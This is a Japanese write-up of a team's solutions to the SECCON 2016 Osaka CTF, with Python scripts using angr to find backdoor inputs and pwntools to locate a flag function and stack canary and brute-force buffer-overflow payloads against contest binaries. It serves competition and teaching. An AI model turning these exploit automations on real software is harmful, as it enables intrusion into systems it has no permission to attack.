SECCON2016 大阪大会
http://2016.seccon.jp/news/#110
ちひろさんとつけじょにーさんとレンジさんとの$4$人で出ました。 優勝しました。
Problems
叩くとバイナリが降ってくるのでpayloadを投げ返すとflagが出てくる、というportが$4$種類開いている。 バイナリは時間で更新されるランダムなもの。 接続開きっぱなしにしておけばバイナリ更新とは無関係にいくらでも時間をかけてよい。
- $10000$番port: backdoor (easy)
- $20000$番port: backdoor (hard)
- $30000$番port: buffer overflow (easy)
- $40000$番port: buffer overflow (hard)
詳細について、
- easyは$5$分でバイナリ更新
- hardは$1$秒でバイナリ更新
- easyは手で簡単に解けるバイナリ
- hardは見るだけで嫌になるようなバイナリ
- どれもchroot(+ seccomp?)下で、
open("secret"); read(); write();
が目標 - backdoorは標準入力から適切な文字列を送るとflag
- buffer overflowはflag関数に飛ばせばよい canary有り
Solutions
10000
angrでpathを全列挙。失敗時の出力であるHello, World!
が出ていないpathを探し、そのような時の入力が答え。
path.state.posix.dumps
はfile descriptorを取ってその中身の文字列を返す。
#!/usr/bin/env python2
import angr
def solve(fname):
p = angr.Project(fname)
state = p.factory.entry_state()
path = p.factory.path(state)
pathgroup = p.factory.path_group(path)
pathgroup.explore()
for path in pathgroup.deadended:
if not path.state.posix.dumps(1).startswith('Hello, World!'):
return path.state.posix.dumps(0)
angrを実際の問題に使うのは始めてだったが、拾ってきた例を切り貼りしてなんとかなってしまった。
20000
$10000$と同一。 ただしとても遅い($20$秒 $\sim$ $5$分以上)かつ偶にしか成功しないので、計算資源をたくさん用意する。
- angrとpwntoolsのlog出力が衝突してるのどうにかしたかった
- 「外部の計算資源借りてきてよ」というのをチーム内の冗談で言っていたが、実際に実行できるようにしておくべきかも
- 他チームの人に聞いた話だと:
secret
という文字列を参照している周辺をangrに通過制約として渡すととても速い (数秒,secret
への参照が見あたらない場合は諦める)- $30000$では似たことをしていたし気付くべきだった
angr.py
というファイル名で書いて中でimport angr
すると自身をimport
しようとして死ぬらしい 気を付けたい
30000
objdump
を雑parseした。
.text
中に埋まったsecret
という文字列を参照している関数はflag関数なのでこれを探し、canaryを見つけ、payloadを適当に作って試すのを成功するまでやる。
secret
はhexで73 65 63 72 65 74
なので最初にこれを探す40016c: 73 65 jae 0x4001d3
secret
の位置を参照している関数の先頭は、その位置より上の最も近いret
やpush rbp
を探せばよい4001cc: 55 push rbp
4001db: 68 6c 01 40 00 push 0x40016c
- canaryは独特なので区別できる
40025e: 48 81 bc 24 80 00 00 cmp QWORD PTR [rsp+0x80],0x5e1b372a
- payloadはrandom生成するが、入力の始点が$8$byteにalignedとは限らないのに注意
#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
def objdump(fname):
p = process(['objdump', '-d', '-M', 'intel', fname])
s = p.recvall()
p.close()
return s
def find_secret_addr(asm):
for line in asm.splitlines():
if ': 73 65 ' in line:
secret_addr = int(line.split()[0].rstrip(':'), 16)
return secret_addr
raise
def find_flag_function(asm, secret_addr):
secret_addr = '%#x' % secret_addr
asm = asm.splitlines()
for i, line in enumerate(asm):
if secret_addr in line.split()[1:]:
flag_index = i
break
for line in reversed(asm[: flag_index]):
if 'push' in line.split() and 'rbp' in line.split() :
flag_addr = int(line.split()[0].rstrip(':'), 16)
return flag_addr
raise
def find_canary_value(asm):
for line in asm.splitlines():
if ' QWORD PTR [' in line and '],0x' in line:
canary = int(line.split(',')[-1], 16)
return canary
raise
def solve(fname):
p = process(['chmod', '+x', fname])
p.close()
asm = objdump(fname)
secret_addr = find_secret_addr(asm)
flag_addr = find_flag_function(asm, secret_addr)
canary_value = find_canary_value(asm)
log.info('secret %#x', secret_addr)
log.info('flag %#x', flag_addr)
log.info('canary %#x', canary_value)
for _ in range(1000):
s = ''
s += 'A' * random.randint(0, 15)
for _ in range(32):
s += p64(random.choice([ flag_addr, canary_value ]))
p = process(fname)
p.sendline(s)
t = p.recvall()
p.close()
if 'FLAG' in t:
return s
raise
40000
解けず。angrに投げたらcanaryっぽいものが出るなあ、というのを確認しただけだった。
canaryが割れてるのならflag関数の位置を総当たりしてもよかったのでは、と後から気付いた。
共通部分
運営から与えられたexercise.py
というtemplateを修正したもの。
起動はwhile true ; do ./a.py ; sleep 180 ; done
のようにした。
#!/usr/bin/env python2
import angr
import binascii
import md5
import base64
from pwn import * # https://pypi.python.org/pypi/pwntools
context.log_level = 'debug'
def solve(fname):
raise NotImplementedError
def submit(flag, name='BinaryOishii'):
p = remote('10.0.1.1', 10000)
p.sendline(name + ' ' + flag)
p.recvall()
p.close()
def main():
p = remote('10.0.1.2', 10000)
# recv banner
linebuf = p.recvline()
tag, value = linebuf.split(":", 1)
print value.strip()
# recv ELF binary
linebuf = p.recvline()
tag, value = linebuf.split(":", 1)
if tag == "IMAGE":
b64_image = value
else:
print linebuf,
return
# decode ELF binary and save it
bin_image = binascii.a2b_base64(b64_image)
bin_fname = "bin_%s.elf" % md5.md5(bin_image).hexdigest()
with open(bin_fname, "wb") as binfile:
binfile.write(bin_image)
# Let's analyze it!
print "Analyze %s" % bin_fname
attack_payload = base64.b64encode(solve(bin_fname))
p.sendline(attack_payload)
rslt = p.recvline()
print rslt,
p.close()
flag = rslt.strip().split(':')[1]
log.info('flag: %s', flag)
submit(flag)
if __name__ == '__main__':
main()
その他
- 良問だった
- 本戦に行けるらしい
- $10000$と$30000$はすぐで、$20000$も何も変えてないので早く、そしてこれらを動かした後は座ってるだけだった
- チーム人数の暴力というところはあった
- クールなROPガジェットを探すようなツールを作りたいと思いつつ後回しにしてたが、早くやらないとなあという気持ち